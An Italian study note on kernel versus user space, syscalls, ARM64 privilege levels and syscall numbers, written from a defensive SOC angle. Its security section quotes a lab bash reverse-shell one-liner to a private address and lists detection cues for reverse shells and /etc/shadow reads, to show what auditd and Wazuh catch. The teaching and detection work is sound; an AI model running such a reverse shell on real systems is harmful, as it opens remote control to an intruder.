Skip to main content
  1. Concetti/

Kernel e Syscall - User Space vs Kernel Space

·4 mins
Alessio Barnini
Author
Alessio Barnini
Table of Contents

Cosa fa
#

Il kernel è il nucleo del sistema operativo — gestisce hardware, memoria, processi e rete. Le syscall sono le richieste che i programmi inviano al kernel per ottenere operazioni privilegiate.

TL;DR
#

graph TD
    subgraph EL0["EL0 — User Space"]
        BASH["bash"]
        PY["python"]
        NMAP["nmap"]
        FF["firefox"]
    end

    subgraph EL1["EL1 — Kernel Space"]
        K["Linux · XNU (mac) · NT(win) 'concierge' "]
    end

    subgraph EL2["EL2 — Hypervisor"]
        HYP["UTM · VMware · KVM"]
    end

    subgraph EL3["EL3 — Firmware"]
        BIOS["BIOS · UEFI · Secure Boot"]
    end

    subgraph HW["Hardware"]
        CPU["CPU"]
        RAM["RAM"]
        NIC["NIC"]
        DISK["Disco"]
    end

    EL0 -->|"syscall
richiesta al kernel"| EL1
    EL1 -->|"istruzioni privilegiate"| EL2
    EL2 --> EL3
    EL3 -->|"accesso diretto"| HW

    RK["ROOTKIT
compromette EL1
mentisce a EL0"]
    BK["BOOTKIT
compromette EL3
invisibile a EL1 ed EL0"]

    RK -.->|attacca| EL1
    BK -.->|attacca| EL3

Il programma non tocca mai l'hardware direttamente. Tutto passa dal kernel.
kernel.webp
#

Come funziona
#

L'analogia del concierge
#

Il kernel funziona come il concierge di un hotel:

  • Gli ospiti (programmi user space) non entrano in cucina, non toccano i server, non parlano con gli elettricisti
  • Tutto passa dallo sportello (syscall)
  • Il concierge (kernel) riceve la richiesta, verifica che l'ospite sia autorizzato, esegue l'operazione con accesso totale, restituisce il risultato

Questa è esattamente la struttura del Facade pattern in programmazione: interfaccia uniforme che nasconde la complessità del sistema sottostante.

Livelli di privilegio
#

Su ARM64 (Apple Silicon, Ubuntu ARM) esistono quattro livelli chiamati Exception Levels:

EL0  →  User space    (programmi normali — bash, python, nmap)
EL1  →  Kernel        (Linux, XNU, NT)
EL2  →  Hypervisor    (virtualizzazione — UTM, VMware)
EL3  →  Firmware      (sicurezza hardware — Secure Boot)

Su x86_64 questi livelli si chiamano rings (Ring 0 = kernel, Ring 3 = user space).

Quando un programma esegue una syscall, la CPU passa da EL0 a EL1 — questo passaggio si chiama context switch.

Esempi di syscall comuni
#

SyscallCosa faChi la usa
open()apre un filequalsiasi programma che legge/scrive
read()legge daticat, grep, qualsiasi lettura
write()scrive datiecho, qualsiasi scrittura
connect()apre connessione TCP/UDPbrowser, curl, bash /dev/tcp
execve()avvia un processoshell, qualsiasi esecuzione
fork()duplica un processobash, qualsiasi spawn
mmap()alloca memoriatutti i programmi

I numeri di syscall dipendono dall'architettura
#

Ogni architettura ha la propria ABI (Application Binary Interface) — il contratto che definisce come i programmi chiamano il kernel. Il numero usato per identificare una syscall dipende dall'architettura del processore.

Syscallx86_64ARM64
connect()42203
read()063
write()164
execve()59221

Riferimento ARM64: https://arm64.syscall.sh

Le librerie di sistema (glibc) gestiscono la traduzione — nel codice scrivi connect() e glibc usa il numero giusto per la tua architettura.

Note

Questo spiega perché un exploit compilato per x86_64 non funziona su ARM64 — i numeri di syscall sono diversi.


Kernel — quale sistema usa quale
#

Sistema operativoKernelNote
Ubuntu, Kali, DebianLinux (Linus Torvalds, 1991)open source
macOSXNU (Mach + BSD)Unix certificato
Windows 10/11/ServerNT (New Technology, 1993)closed source
iOS, iPadOSXNUstesso di macOS
AndroidLinuxfork modificato

Linux è il kernel, non il sistema operativo completo. Ubuntu = kernel Linux + GNU tools + distribution layer.


Rilevanza per la security
#

auditd monitora le syscall direttamente — è il livello più basso di visibilità possibile su Linux. Quando bash esegue connect() per una reverse shell, auditd lo vede prima di qualsiasi altro strumento.

Esempio reale dal lab 2026-05-10:

# bash -i >& /dev/tcp/192.168.64.200/4444 0>&1
# genera syscall connect() — numero 203 su ARM64

# alert Wazuh via auditd:
# data.audit.syscall: 203
# data.audit.command: bash
# data.audit.exe: /usr/bin/bash
# data.audit.success: no   ← tentativo fallito o EINPROGRESS

bash non dovrebbe mai chiamare connect() — questo è il segnale d'allarme.

Tip

Se un kernel viene compromesso (rootkit), il concierge inizia a mentire — risponde alle chiamate read() e ls mostrando dati falsi. Per questo i rootkit sono invisibili a strumenti userspace: interrogano il kernel, e il kernel risponde con dati falsificati.


Scenario Reale
#

In un SOC, auditd + Wazuh viene configurato per alertare su syscall anomale:

  • execve() eseguito da un processo web server → possibile RCE
  • connect() eseguito da bash → possibile reverse shell
  • open() su /etc/shadow da processo non root → possibile credential theft

Suricata (mese 6) lavorerà a livello network — vede i pacchetti. auditd lavora a livello kernel — vede le syscall. Insieme coprono entrambi i layer.


Collegato a
#

  • system — categoria OS e kernel
  • auditd — monitoraggio syscall su Linux
  • reverse-shell — bash connect() come caso reale
  • incident-report-lab-2026-05-10 — lab dove questa syscall è stata rilevata

Related